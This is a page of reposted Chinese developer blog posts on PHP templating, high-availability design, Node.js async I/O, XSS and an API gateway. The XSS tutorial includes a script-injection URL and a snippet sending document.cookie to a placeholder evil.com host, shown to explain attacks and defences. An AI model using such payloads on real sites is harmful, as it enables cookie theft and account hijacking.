看一下比较主流的模板引擎的使用

twig,他的使用语法我比较喜欢,很容易看懂,简单易学

1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码基本语法
{% for user in users %}
* {{ user.name }}
{% else %}
No users have been found.
{% endfor %}

指定布局文件
{% extends "layout.html" %}
定义展示块
{% block content %}
Content of the page...
{% endblock %}

再看看blade

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
复制代码<!-- 文件保存于 resources/views/layouts/app.blade.php -->

<html>
<head>
<title>应用程序名称 - @yield('title')</title>
</head>
<body>
@section('sidebar')
这是 master 的侧边栏。
@show

<div class="container">
@yield('content')
</div>
</body>
</html>

<!-- Stored in resources/views/child.blade.php -->

@extends('layouts.app')

@section('title', 'Page Title')

@section('sidebar')
@parent

<p>This is appended to the master sidebar.</p>
@endsection

@section('content')
<p>This is my body content.</p>
@endsection

上面可以看出,blade就比twig复杂多了,如果不看说明,你没法理解上面代码的意思。为什么没有累出smarty,因为它更复杂,现在使用的人也比较少了。

我们总结以下,一个模板引擎应该具备以下功能
1 数据块block/section 这是一个很强大的功能,可以灵活的控制每一个展示块
2 继承机制parent 使用parent继承调用布局中的内容块
3 多文件组合include 利用include可以将多个模板组合到一起,实现多种不同场景下的代码复用
4 灵活的变量函数以及常量使用
5 优雅的标签逻辑控制 你可以充分利用ide软件的代码提示和自动完成功能,而不需要安装特殊插件
6 模板自动监听 当模板更新时,刷新页面,模板引擎会自动进行编译,展示最新内容

今天的主角

在具有上面总结的所有功能的前提下,看看今天的主角是怎么解决易学,可读这两个难题的。

布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
复制代码<!--布局文件的代码-->

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title><block title>默认标题</block></title>
</head>
<body>
<!--展示块定义-->
<block content>我是布局模板content</block>
<!--引入模板-->
<include footer></include>
</body>
</html>

<!--内容模板-->

<!--展示块定义,会覆盖布局中的站位-->
<block title>{{ $title }}</block>
<block content>
我是内容模板,但是我用parent标签,调用了布局文件中content的内容<br>
<parent content></parent>
</block>

是不是清爽至极。定义不同的block标签,灵活的控制内容和位置,内容模板的内容会默认覆盖布局文件的相同block块。还可以在内容模板,用parent标签调用布局文件中的内容。

使用html标签的方式进行代码书写,可以在所有ide软件中实现代码不全。上面的代码实现了展示块定义,内容模板展示块覆盖布局模板,以及继承和,外部引入include。

变量 常量 函数的使用

当然,除了对模板的总体管理,模板中还要有流程控制和变量输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
复制代码//变量
{{ $title }}
// 函数
{{ date('Y-m-d') }}
//普通常量跟变量用法一致,需要用{{}}括起来
{{ CONST_VAR }}

//两边下划线的常量直接使用
//会翻译为< ?php if(defined('__APP__')){echo __APP__;}else{echo '__APP__';} ?>
__APP__

// 三目运算
{{ $a==0 ? 0 : 1 }}

流程控制

if判断

1
2
3
4
5
6
7
复制代码        <if ($var>1)>
大于1
<elseif ($var==1)>
等于1
<else/>
小于1
</if>

for循环

1
2
3
4
5
复制代码
<for ($i=0;$i<5;$i++)>
{{ $i }}
</for>
普通当然for循环

for in

1
2
3
4
5
6
7
8
9
10
复制代码
<for $item in $array>
{{ $item['title'] }}
</for>
相当于foreach($array as $item)

<for ($item,$index) in $array>
{{ $index }}=>{{ $item['title'] }}
</for>
相当于foreach($array as $index=>$item)

foreach 跟源生php写法对应只是换成了php标签形式

1
2
3
4
5
6
复制代码        <foreach ($array as $item)>
{{ $item['title'] }}
</foreach>
<foreach ($array as $index=>$item)>
{{ $index }}=>{{ $item['title'] }}
</foreach>

php中初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
复制代码include "../Template.php";
$view = new Template();
$view->templatePath = './template/';// 模板路径 最后以/结尾
$view->compilePath = './compile/';// 编译文件存放路径 最后以/结尾
$view->layout = 'layout';// 布局文件在末班目录下,如果不适用可以定义成空字符串或false

// 渲染模板
$view->render('index',[
'title'=>'测试页',
'content'=>'内容',
'array'=>[
1,2,3
]
]);
//清空缓存
//$view->clean();

喜欢的朋友欢迎star github.com/shooke/temp…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

高并发和高可用的一点思考

发表于 2017-11-14

本文的架子参考张开套的《亿级流量网站架构核心技术》这本书分为四个部分:指导原则,高可用,高并发,实践案例。这篇文章说一说前三个部分,大部分内容都是我自己的思考,书只作为参考。

  • 指导原则
  • 高可用
    • 事前
      • 副本技术
      • 隔离技术
      • 配额技术
      • 探知技术
      • 预案
    • 事发
      • 监控和报警
    • 事中
      • 降级
      • 回滚
      • failXXX系列
    • 事后
  • 高并发
    • 提高处理速度
      • 缓存
      • 异步
    • 增加处理人手
      • 多线程
      • 扩容

指导原则

书中所列举的,里有一些可能并不是原则,而是技巧。我理解的原则如下:

高并发原则:

  1. 无状态设计:因为有状态可能涉及锁操作,锁又可能导致并发的串行化。
  2. 保持合理的粒度:无论拆分还是服务化,其实就是服务粒度控制,控制粒度为了分散请求提高并发,或为了从管理等角度提高可操性。
  3. 缓存、队列、并发等技巧在高并发设计上可供参考,但需依场景使用。

高可用原则:

  1. 系统的任何发布必须具有可回滚能力。
  2. 系统任何外部依赖必须准确衡量是否可降级,是否可无损降级,并提供降级开关。
  3. 系统对外暴露的接口必须配置好限流,限流值必须尽量准确可靠。

业务设计原则:

  1. 安全性:防抓取,防刷单、防表单重复提交,等等等等。
  2. at least 消费,应考虑是否采用幂等设计
  3. 业务流程动态化,业务规则动态化
  4. 系统owner负责制、人员备份制、值班制
  5. 系统文档化
  6. 后台操作可追溯

以上原则只是大千世界中的一小部分,读者应当在工作学习中点滴积累。

高可用

我们先说高可用的本质诉求:高可用就是抵御不确定性,保证系统724小时健康服务*。关于高可用,我们其实面对的问题就是对抗不确定性,这个不确定性来自四面八方。比如大地震,会导致整个机房中断,如何应对?比如负责核心系统的工程师离职了,如何应对?再比如下游接口挂了,如何应对?系统磁盘坏了,数据面临丢失风险,如何应对?我想关于上述问题的应对方式,大家在工作中或多或少都有所了解,而这个不确定性的处理过程,就是容灾,其不同的‘灾难’,对应不同的容灾级别。

为了对抗这些不同级别的不确定性,就要付出不同级别的成本,因此可用性也应是有标准的。这标准就是大家常说的N个9。随着N的增加,成本也相应增加,那如何在达到业务需要的可用性的基础上,尽量节省成本?这也是一个值得思考的话题。除此之外,100%减去这N个9就说所谓的平均故障时间(MTBF),很多人只关心那些9,而忽略了故障处理时间,这是不该的:你的故障处理速度越快,系统的可用性才有可能越高。

上面扯了一些可用性概念上的东西,下面来说一下技巧。开涛的书中没有对可用性技巧做出一个分类,我这里则尝试使用‘事情’来分个类。这里的‘事’就是故障,分为:事前(故障发生以前)、事发(故障发生到系统或人感知到故障)、事中(故障发生到故障处理这段时间)、事后(故障结束之后)。

按照上述分类,不同的阶段应有着不同的技巧:

  1. 事前:副本、隔离、配额、提前预案、探知
  2. 事发:监控、报警
  3. 事中:降级、回滚、应急预案,failXXX系列
  4. 事后:复盘、思考、技改

事前

副本技术

大自然是副本技术当之无愧的集大成者,无论是冰河时代,还是陨石撞击地球所带来的毁灭性打击,物种依然绵绵不绝的繁衍,这便是基因复制的作用。副本是对抗不确定性的有力武器,把副本技术引入计算机系统,也会带来高可用性的提升。无状态服务集群便是副本的一个应用,因为没有状态,便可水平伸缩,而这些无状态服务器之间需要一层代理来统一调度管理,这便有了反向代理。当代理通过心跳检测机制检测到有一台机器出现问题时,就将其下线,其他‘副本’机器继续提供服务;存储领域也是经常使用副本技术的,比如OB的三地三中心五副本技术等,mysql主备切换,rabbitMQ的镜像队列,磁盘的RAID技术,各种nosql中的分区副本,等等等等,数不胜数,几乎所有保证高可用的系统都有冗余副本存在。

隔离技术

书上提到了很多种隔离:线程隔离、进程隔离、集群隔离、机房隔离、读写隔离、动静隔离、爬虫隔离、热点隔离、硬件资源隔离。在我看来,这些隔离其实就是一种,即资源隔离,无论线程、进程、硬件、机房、集群都是一种资源;动态资源和静态资源也不过是资源的一种分类;热点隔离也即是热点资源和非热点资源的隔离;读写隔离不过仅仅是资源的使用方式而已,相同的两份资源,一份用来写,一份用来读。因此,隔离的本质,其实就是对资源的独立保护。因为每个资源都得到了独立的保护,其中一个资源出了问题,不会影响到其他资源,这就提高了整体服务的可用性。人类使用隔离术也由来已久了,从农业养殖,到股票投资,甚至关犯人的监狱,都能找到隔离术的影子。

配额技术

配额技术通过限制资源供给来保护系统,从而提高整体可用性。限流是配额技术的一种,它通过调节入口流量水位上线,来避免供给不足所导致的服务宕机。限流分为集群限流和单机限流,集群限流需要分布式基础设施配合,单机限流则不需要。大部分业务场景使用单机限流足以,特殊场景(类秒杀等)下的限流则需限制整个集群。除此之外,限流这里我们还需要考虑几点:

  1. 如何设置合理的限流值?限流值的设定是需要经过全链路压测、妥善评估CPU容量、磁盘、内存、IO等指标与流量之间的变化关系(不一定线性关系)、结合业务预估和运维经验后,才能确定。
  2. 对于被限流的流量如何处理?有几种处理方式,其一直接丢弃,用温和的文案提醒用户;其二,静默,俗称的无损降级,用缓存内容刷新页面;其三,蓄洪,异步回血,这一般用于事务型场景。
  3. 会不会导致误杀?单机限流会导致误杀,尤其当负载不均衡的情况下,很容易出现误杀;单机限流值设定过小也容易出现误杀的情况。

探知技术

其只用于探知系统当前可用性能力,无法切实提高系统可用性,做不好甚至还会降低系统可用性。压测和演练和最常见的探知技术 。压测分为全链路压测和单链路压测,全链路压测用于像双十一大促活动等,需要各上下游系统整体配合,单链路压测一般验证功能或做简单的单机压测提取性能指标。全链路压测的一般过程是:压测目标设定和评估,压测改造,压测脚本编写部署,压测数据准备,小流量链路验证,通知上下游系统owner,压测预热,压测,压测结果评估报告,性能优化。以上过程反复迭代,直到达到压测目标为止;演练一般按规模划分:比如城市级别的容灾演练,机房级别的容灾演练,集群规模的容灾演练(DB集群,缓存集群,应用集群等),单机级别的故障注入,预案演练等。演练的作用无需过多强调,但演练一般发生在凌晨,也需要各系统owner配合排错,着实累人,一般都是轮班去搞。

预案

预案一般分为提前预案(事前)和应急预案(事中)。提前预案提前执行,比如将系统临时从高峰模式切换成节能模式;应急预案关键时刻才执行,主要用于止血,比如一键容灾切换等。预案技术一般要配合开关使用,推预案一般也就是推开关了。除此之外,预案也可和限流、回滚、降级等相结合,并可以作为一个定期演练项目。

事发

事发是指当故障发生了到系统或人感知到故障准备处理的这段时间,核心诉求即是如何快速、准确的识别故障。

监控和报警

一般出现故障的时候,老板大多会有三问:为什么才发现?为什么才解决?影响有多大?即使故障影响面较大,如果能迅速止血,在做复盘的时候多少能挽回一些面子,相反如果处理不及时,即使小小的故障,都可能让你丢了饭碗。越早识别故障,就能越早解决问题,而这眼睛便是监控和报警了。监控报警耳熟能详,这里不多赘述。

事中

事中是指当故障发生时,为了保证系统可用性,我们可以或必须做的事情。分为降级、回滚、应急预案(见上文,这里不多数了),faillXXX系列。

降级

降级的内涵丰富,我们只从链路角度去思考。降级的本质是弃车保帅,通过临时舍弃部分功能,保证系统整体可用性。降级虽然从整体上看系统仍然可用,但由于取舍的关系,那么可知所有的降级一定是有损的。不可能有真正的无损降级,而常说的无损降级指的是用户体验无损。降级一定发生在层与层之间(上下游),要么a层临时性不调用b层,这叫做熔断,要么a层临时调用c层(c层合理性一定<b层),这叫备用链路。无论是哪一种方式,都会面临一个问题:如何确定什么时候降级,什么时候恢复?一般有两种方式,其一是人工确认,通过监控报警等反馈机制,人工识别故障,推送降级,待故障恢复后在手动回滚;其二是自适应识别,最常用的指标有超时时间、错误次数、限值流等等,当达到阈值时自动执行降级,恢复时自动回滚。这两种方式无需对比,它们都是经常采用的高可用技巧。除此之外,我们还要注意降级和强弱依赖的关系。强弱依赖表示的是链路上下游之间的依赖关系,是’是否可降级‘的一种专业表述。

我们再来看书中的一些降级的例子:①读写降级,实际上是存储层和应用层之间的降级,采用备用链路切换方式,损失了一致性;②功能降级,将部分功能关闭,实际上是应用层和功能模块层之间的降级,采用熔断方式,损失了部分功能。③爬虫降级,实际上是搜索引擎爬虫和应用系统之间的降级,采用备用链路切换方式,将爬虫引导到静态页面,损失是引擎索引的建立和页面收录。

回滚

当执行某种变更出现故障时,最为稳妥和有效的办法就是回滚。虽然回滚行之有效,但并不简单,因为回滚有一个大前提:变更必须具有可回滚性。而让某一种变更具有可回滚的特性,是要耗费很大力气的。索性的是,大部分基础服务已经帮我们封装好了这一特性,比如DB的事务回滚(DB事务机制),代码库回滚(GIT的文件版本控制),发布回滚(发布系统支持)等等。我们在日常变更操作的时候,必须要确定你的操作是否可回滚,并尽力保证所有变更均可回滚。如果不能回滚,是否可以进行热更新(比如发布应用到app store)或最终一致性补偿等额外手段保证系统高可用。

failXXX系列

当出现下游调用失败时,我们一般有几种处理方式:

  1. failretry,即失败重试,需要配合退避时间,否则马上重试不一定会有效果。
  2. failover,即所谓的故障转移。比如调用下游a接口失败,那么RPC的负载均衡器将会调用a接口提供方的其他机器进行重试;在比如数据库x挂了,应用自适应容灾将对x库的调用切换到y库调用,此y库即可以是faillover库(流水型业务),也可以备库(状态型业务)。
  3. failsafe,即静默,一般下游链路是弱依赖的时候,可以采用failsafe,即可和failover相结合,比如failover了3次还是失败,那么执行failsafe。
  4. failfast,立即报错,failfast主要让工程师快速的感知问题所在,并及时进行人工干预。
  5. failback,延迟补偿(回血),一般可以采用消息队列或定时扫描等。

上面的1,2,4是属于重试策略,即书中《超时与重试》章节所讲到的重试。重试有个问题:退避间隔是多少?重试几次?一般在下游临时抖动的情况下,很短时间内就可以恢复;但当下游完全不可用,那么很有可能重试多少次都不会成功,反而会对下游造成了更大的压力,那这种情况就应当做用熔断了。所以正确设定重试次数、选择退避时间等都是需要仔细思考的。我们在来说一下超时,超时只是一种预防机制,不是故障应对策略,其主要为了防止请求堆积——资源都用于等待下游请求返回了。堆积的后果自不用多说,重要的是如何选择正确的超时时间?书上只说了链路每个部分超时时间怎么配置,却不知道应配置多少,这是不够全面的。

事后

复盘、思考、技改。不多赘述。

高并发

如果仅是追求高可用性,这其实并不难做,试想如果一年只有一个人访问你的系统,只要这一个人访问成功,那你系统的‘’可用性‘就是100%了。可现实是,随着业务的发展,请求量会越来越高,进而各种系统资源得以激活,那潜在风险也会慢慢的暴露出来。因此,做系统的难点之一便是:如何在高并发的条件下,保证系统的高可用。上文已经说了一些保证高可用的技巧,这节将结合开涛的书,说说高并发。

上图是我们生活中常见的一个场景——排队购物。收银员就是我们的服务,每一个在队列中的顾客都是一个请求。我们的本质诉求是让尽可能多的人都在合理的等待时间内完成消费。如何做到这一点呢?其一是提高收银员的处理速度,他们处理的越快,单位时间内就能服务更多的顾客;其二是增加人手,一名收银员处理不过来,我们就雇十名收银员,十名不够我们就雇佣一百名(如果不计成本);其三是减少访问人数,也即分流过滤,将一些人提前过滤掉,或做活动预热(比如双十一预热),在高峰之前先满足一部分人的需求。因此,想要高并发无外乎从以下几个方面入手:

  1. 提高处理速度:缓存、异步
  2. 增加处理人手:多线程(多进程)、扩容
  3. 减少访问人数:预处理(本文不涉及)

提高处理速度

缓存

缓存之所以能够提高处理速度,是因为不同设备的访问速度存在差异。缓存的话题可以扯几本书不带重样的。从CPU可以一直扯到客户端缓存,即从最底层一直到扯到最特近用户的一层,每一层都可能或可以有缓存的存在。我们这里不扯这么多,只说简单服务端缓存。现在从几个不同角度来看一下缓存:

①从效果角度。命中率越高越好吗?10万个店铺数据,缓存了1000个,命中率稳定100%,那是不是说,有99000个店铺都是长尾店铺?缓存效果评估不能单看命中率。
②从回收策略。如果把缓存当做数据库一样的存储设备去用,那就没有回收的说法了(除非重启或者宕机,否则数据依然有效);如果只存储热数据,那就有回收和替换的问题。回收有两种方式,一种是空间配额,另一种是时间配额。替换也有几种方式,LRU,FIFO,LFU。
③从缓存使用模式角度:用户直接操作缓存和db;用户直接操作缓存,缓存帮助我们读写DbB;
④从缓存分级角度。java堆内缓存、java堆外缓存、磁盘缓存、分布式缓存,多级缓存。
⑤从缓存使用角度。null穿透问题、惊群问题、缓存热点问题、缓存一致性问题、读写扩散问题。。。。。。
⑥更新方式。读更新、写更新、异步更新。

如果缓存集群涉及到异地多集群部署,再结合大数据量高并发业务场景,还会遇到很多更加复杂的问题,这里就不一一列举了。

异步

异步这里有几点内涵,其一是将多个同步调用变成异步并发调用,这样就将总响应时间由原来的t1+t2+t3+…..+tn变成了max(t1,t2,t3….,tn),这也叫异步编排;其二是在操作系统层面,使用asyc io以提高io处理性能;其三是将请求’转储‘,稍后异步进行处理,一般使用队列中间件。其中的异步编排,可以使用CompletableFuture;异步IO一般框架都做了封装;而队列中间件则是最为常用的技术之一,也是我们重点关注的对象。

业务允许延迟处理,是使用队列中间件的大前提,即非实时系统或准实时系统更适合使用。主要作用有:异步处理(增加吞吐),削峰蓄洪(保障稳定性),数据同步(最终一致性组件),系统解耦(下游无需感知订阅方)。

缓冲队列:一般使用环形缓冲队列,控制缓冲区大小。
任务队列:一般用于任务调度系统,比如线程池等,disrupter
消息队列:一般意义上的消息中间件,不同业务场景需要的中间件能力不同,有的需要高吞吐,有的需要支持事务,有的需要支持多客户端,有的需要支持特定协议等等等等,妄图开发一个大而全的消息队列,个人觉得不如提供多种队列按需选型,之后在统一提供一个通信中台,全面整合消息能力。
请求队列:就是处理请求的队列,有点像流程引擎,可以做一些前置后置的入队出队处理,比如限流、过滤等等
数据总线队列:比如canal,datax等数据(异构或同构)同步用的。
优先级队列:一般大根堆实现
副本队列:如果队列支持回放,副本队列有些冗余。
镜像队列:一般用于做队列系统的高可用切换的。有时候也跨集群跨机房做复制,提供更多消费者消费,增加投递能力。

队列的消费端有pull模式或者push模式的选取。pull模式可以控制进度,push模式则实时性更高一些;pull能支持单队列上的有序,push很难支持。除了消费模式,队列还有一系列其他问题请参考其他书籍,这里不多说明了。

这里在补充一点关于异步的说明。同步转异步,可以提高吞吐量;异步转同步,可以增加可靠性。

增加处理人手

多线程

多线程(多进程)技术是‘增加处理人手’技术中最容易想到的,一般我们也广泛采用。无论是web服务容器、网关、RPC服务端、消息队列消费和发送端等等都有使用多线程技术。其优点也无需过多说明。这里我们只说一件重要的事情,即线程数的设置问题,如果线程数过高则可能会吃光系统资源,如果过低又无法发挥多线程优势。一般设置的时候,会参考平均处理时长、并发峰值、平均并发量、阻塞率、最长可容忍响应时间、CPU核心数等等,然后做一定的运算,计算出线程数、core和max,以及阻塞队列大小。具体算法可以自行谷歌。

扩容

在无状态服务下,扩容可能是迄今为止效果最明显的增加并发量的技巧之一。有临时性并发问题时,可以直接提扩容工单,立竿见影。但扩容的最大问题就是成本了,想想动辄几万的实体机,如果只是为了支撑一个小时的大促,而平常利用率几乎为0,那确实是浪费。因此便有了弹性云,当需要扩容时,借别人机器(阿里云)用完再还回去;以及离线在线混部,充分利用资源。

从扩容方式角度讲,分为垂直扩容(scale up)和水平扩容(scale out)。垂直扩容就是增加单机处理能力,怼硬件,但硬件能力毕竟还是有限;水平扩容说白了就是增加机器数量,怼机器,但随着机器数量的增加,单应用并发能力并不一定与其呈现线性关系, 此时就可能需要进行应用服务化拆分了。

从数据角度讲,扩容可以分为无状态扩容和有状态扩容。无状态扩容一般就是指我们的应用服务器扩容;有状态扩容一般是指数据存储扩容,要么将一份数据拆分成不同的多份,即sharding,要么就整体复制n份,即副本。sharding遇到的问题就是分片的可靠性,一般做转移、rehash、分片副本;副本遇到的问题是一致性性,一般做一致性算法,如paxos,raft等。

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

我与Nodejs重新认识的第一周 - Nodejs 风格

发表于 2017-11-14

书接上回,

慢慢悠悠读了《深入浅出node.js》(后面简写作《深浅》)以及《node.js高级编程》(后面简写作《高级》)的开头部分,查了不少网络资料,关于node.js的特点有了一定了解。深究起来需要再看看操作系统以及网络的知识。

《深浅》中提到了四个node.js的特点:异步I/O,事件与回调函数,单线程以及跨平台。
《高级》中基本是一笔带过,提到了纯事件驱动以及非阻塞。

其中对于异步I/O以及单线程这两个特性,我认为可以分以下三个方向来概述为什么node.js把天赋点在了这它们上面?

1. 用户体验

从前端加载的角度来看,比较直接。先说为什么JavaScript用异步?!我们反着思考,如果JavaScript是同步的,会有什么问题。请求一个用户管理页面,用js加载若干资源,先加载一个用户头像,再加载第二个,第三个。。。GG,用户以为卡死了,二话不说给你关了(《深浅》中提到脚本时间超过100毫秒,用户就会有卡顿的感觉;而且运行在单线程上的JavaScript还与UI渲染公用一个进程)。实际中,JavaScript的异步消除/减弱了UI阻塞的现象,同步时候加载资源的总时间是X+Y+Z,异步下的总时间则是max(X+Y+Z),可见差距。另外《深浅》中来提到目前网络发展,分布式应用普及,前面XYZ的数值在增长,那么可以想象到X+Y+Z和max(X+Y+Z)的差距肯定越来越大。由此可以看出异步大法好,大家都说屌!那么node.js选择异步I/O也就顺理成章,从后端做到异步,提升资源响应速度,那么随之前端的用户体验也就会更好!

2. 系统资源

一组任务需要被执行,可以通过两种方式:单线程串行执行,多线程并行执行。

单线程串行执行,问题是:同步阻塞! I/O需要等待X步结束,才能进行到X+1步 - 原因是早期分时系统:cpu轮流给不同用户服务(服务的时间单位是时间片),给A服务完了第x步,可能就去给B服务第y步,之后才又回到属于给A服务的时间片,然后再给A服务x+1步(这也能看出来为啥I/O需要等待,上一步结束才能执行下一步)。为了继续执行A的操作,从x到x+1步骤的上下文就需要系统维护和交换,那么当进程很多,就会造成性能的下降。慢的任务就会拖慢整个处理进度- 这样难道一无是处么,并不是,好处是顺序编程,逻辑比较容易,易于表达 。

多线程并行执行,问题是:编程时要考虑锁,状态同步的问题,稍有不慎,家毁人亡! 因此,node.js的解决方案是:利用单线程,远离多线程死锁、状态同步等问题;利用异步I/O,让单线程远离阻塞,以更好地使用CPU。(《深浅》原句)

![](https://gitee.com/songjianzaina/juejin_p5/raw/master/img/6875f880bb3c91a5e7b2e04464e056a23571722eaa17758217e4e8568b86b7c3)  

3. 应用场景

node.js特点与其应用场景我感觉互为问题与答案,考虑到web app是当今最常见的I/O密集型任务,node.js选择了异步I/O,单线程以及事件驱动,来增强性能。同时,也正是因为node.js的这些特点,使得它更加适合I/O密集型的应用场景。(关于node.js是否适合计算密集型任务,《深浅》中做了解释与对比) ———————————————————————

下面是另外几点令我印象深刻的地方:

  • 《深浅》还提到:为了提升性能增加进程数量,这种方法是无法提升资源利用率。他用到了『加三倍服务器』的例子,下面是我从豆瓣上找到的一个解释:(加三倍服务器是否能提升性能)要看系统本身的架构,不一定增加三倍服务器就能档得住三倍的用户一起来点的。因为服务器增多之后,其间通信的成本也增加了,而且如果存在中心节点,那么那几个节点还是会变成瓶颈。跟高速公路堵车对比,加服务器并不是“四车道变八车道”那么简单,很可能多修几条路以后1)十字路口也变多了2)支路多了以后主干道堵得更厉害。”

  • 如果深究异步I/O这个东西,《深浅》第三章做了更加细致的讲解,涉及到了异步的几种实现方式,以及Node是怎么实现异步I/O的。原来之前说的异步,是理想的非阻塞异步I/O:

    (出自《深入浅出node.js》)
  真正到了实现的时候,Node其实是用了多线程的方式模拟出来这一理想的效果。 ![](https://gitee.com/songjianzaina/juejin_p5/raw/master/img/2f87b29a47afa091eaa0893093dc71adbdaa1506d597eec1726dd175db9717a5)  


                                     (出自《深入浅出node.js》)  





等等,多线程?Node不是JavaScript,是单线程么,上面特点不说了是单线程么?是不是说漏嘴了。那必须不是,《深浅》书中提到,Node的单线程指的JavaScript运行在单线程中,而实现Node的异步I/O功能的则是线程池/多线程。 * node.js既然有异步I/O的特点,是不是就可以肆意妄为了,只要异步就一定非阻塞呢?答案肯定是不啊(考这么多年试:像这种极端的问题,答案肯定是否定的)。如果我们在主线程做过多的任务,或者很多计算密集型任务,那么可能会导致主线程的卡死,影响整个程序的性能,这不就阻塞你异步的脚步了。

如果有什么地方总结的不对,希望大家一起交流!

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Web安全系列——XSS攻击

发表于 2017-11-14

前段时间在学习Web安全方面的知识,对这方面有了进一步的了解,决定写文章记录下来,只是对Web安全方面知识的一些总结,没有太多的深度。

XSS攻击简介

跨站脚本攻击(XSS),英文全称 Cross Site Script, 是Web安全头号大敌。
XSS攻击,一般是指黑客通过在网页中注入恶意脚本,当用户浏览网页时,恶意脚本执行,控制用户浏览器行为的一种攻击方式。其中,XSS攻击通常分为反射型XSS、存储型XSS、DOM Based XSS三种。可以通过以下例子看看XSS攻击是如何产生的。

一个简单的例子

本地服务器的的/xssTest 目录下,有一个test.php文件,代码如下:

1
2
3
4
复制代码<?php
$userName=$_GET['userName']; //获取用户输入的参数
echo "<b>".$userName."</b>"; //直接输出用户的参数给前端页面
?>

正常情况下,用户提交的姓名可以正确显示在页面上,不会构成XSS攻击,比如,当用户访问以下URL:

1
复制代码http://localhost/xssTest/test.php?userName=jack

页面会显示:
正常显示
可以看到,用户在URL中输入的参数正常显示在页面上。

然后,我们尝试在URL中插入JavaScript代码,如:

1
复制代码http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>

则页面会显示:
插入恶意脚本

可以看到,页面没有把userName后面的内容显示出来,而且打开了一个新的标签页,原因是在URL中带有一段打开另一标签页的恶意脚本。
这个例子虽然简短,但体现了最简单的XSS攻击的完整流程。

XSS攻击类型

根据攻击的方式,XSS攻击可以分为三类:反射型XSS、存储型XSS、DOM Based XSS。

反射型XSS也被称为非持久性XSS,这种攻击方式把XSS的Payload写在URL中,通过浏览器直接“反射”给用户。这种攻击方式通常需要诱使用户点击某个恶意链接,才能攻击成功。
存储型XSS又被称为持久性XSS,会把黑客输入的恶意脚本存储在服务器的数据库中。当其他用户浏览页面包含这个恶意脚本的页面,用户将会受到黑客的攻击。一个常见的场景就是黑客写下一篇包含恶意JavaScript脚本的博客文章,当其他用户浏览这篇文章时,恶意的JavaScript代码将会执行。
DOM Based XSS 是一种利用前端代码漏洞进行攻击的攻击方式。前面的反射型XSS与存储型XSS虽然恶意脚本的存放位置不同,但其本质都是利用后端代码的漏洞。
反射型和存储型xss是服务器端代码漏洞造成的,payload在响应页面中,DOM Based中,payload不在服务器发出的HTTP响应页面中,当客户端脚本运行时(渲染页面时),payload才会加载到脚本中执行。

XSS攻击的危害

我们把进行XSS攻击的恶意脚本成为XSS Payload。XSS Payload的本质是JavaScript脚本,所以JavaScript可以做什么,XSS攻击就可以做什么。
一个最常见的XSS Payload就是盗取用户的Cookie,从而发起Cookie劫持攻击。Cookie中,一般会保存当前用户的登录凭证,如果Cookie被黑客盗取,以为着黑客有可能通过Cookie直接登进用户的账户,进行恶意操作。
如下所示,攻击者先加载一个远程脚本:

1
复制代码http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>

而真正的XSS Payload,则写在远程脚本evil.js中。在evil.js中,可以通过下列代码窃取用户Cookie:

1
2
3
复制代码var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

这段代码插入了一张看不见的图片,同时把document.cookie作为参数,发到远程服务器。黑客在拿到cookie后,只需要替换掉自身的cookie,就可以登入被盗取者的账户,进行恶意操作。
一个网站的应用只需要接受HTTP的POST请求和GET请求,就可以完成所有的操作,对于黑客而言,仅通过JavaScript就可以完成这些操作。

防御

其实如今一些流行的浏览器都内置了一些对抗XSS的措施,比如Firefox的CSP、IE 8内置的XSS Filter等。除此之外,还有以下防御手段

HttpOnly

HttpOnly最早是由微软提出,并在IE6中实现的,至今已逐渐成为一个标准。浏览器将禁止页面的JavaScript访问带有HttpOnly 属性的Cookie。以下浏览器开始支持HttpOnly:

  • Microsoft IE 6 SP1+
  • Mozilla FireFox 2.0.0.5+
  • Mozilla Firefox 3.0.0.6+
  • Google Chrome
  • Apple Safari 4.0+
  • Opera 9.5+

一个Cookie的使用过程如下:
Step1: 浏览器向服务器发送请求,这时候没有cookie。
Step2: 服务器返回同时,发送Set-Cookie头,向客户端浏览器写入Cookie。
Step3: 在该Cookie到期前,浏览器访问该域名下所有的页面,都将发送该Cookie。
而HttpOnly是在Set-Cookie时标记的。

输入检查

常见的Web漏洞,如XSS、SQL注入等,都要求攻击者构造一些特殊的字符串,而这些字符串是一般用户不会用到的,所以进行输入检查就很有必要了。
输入检查可以在用户输入的格式检查中进行。很多网站的用户名都要求是字母及数字的组合如“abc1234”,其实也能过滤一部分的XSS和SQL注入。但是,这种在客户端的限制很容易被绕过,攻击者可以用JavaScript或一些请求工具,直接构造请求,想网站注入XSS或者SQL。所以,除了在客户端进行格式检查,往往还需要在后端进行二次检查。客户端的检查主要作用是阻挡大部分误操作的正常用户,从而节约服务器资源。

对输出转义

在输出数据之前对潜在的威胁的字符进行编码、转义是防御XSS攻击十分有效的措施。

  1. 为了对抗XSS,在HtmlEncode中至少转换以下字符:

< 转成 <;

> 转成 >;

& 转成 &;

“ 转成 ";

‘ 转成 '


参考链接:
www.zhihu.com/question/26…

《白帽子讲Web安全》

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

微服务网关netflix-zuul

发表于 2017-11-13

引言:前面一个系列文章介绍了认证鉴权与API权限控制在微服务架构中的设计与实现 ,好多同学询问有没有完整的demo项目,笔者回答肯定有的。由于之前系列文章侧重讲解了权限前置,所以近期补上完整的后置项目,但是这最好有一个完整的微服务调用。本文主要讲下API网关的设计与实现。netflix-zuul是由netflix开源的API网关,在微服务架构下,网关作为对外的门户,实现动态路由、监控、授权、安全、调度等功能。

  1. 网关介绍

当使用单体应用程序架构时,移动客户端将通过向应用程序发起一次REST调用来获取这些数据。负载均衡器将请求路由给N个相同的应用程序实例中的一个。然后应用程序会查询各种数据库表,并将响应返回给客户端。微服务架构下,单体应用被切割成多个微服务,如果将所有的微服务直接对外暴露,势必会出现安全方面的各种问题。
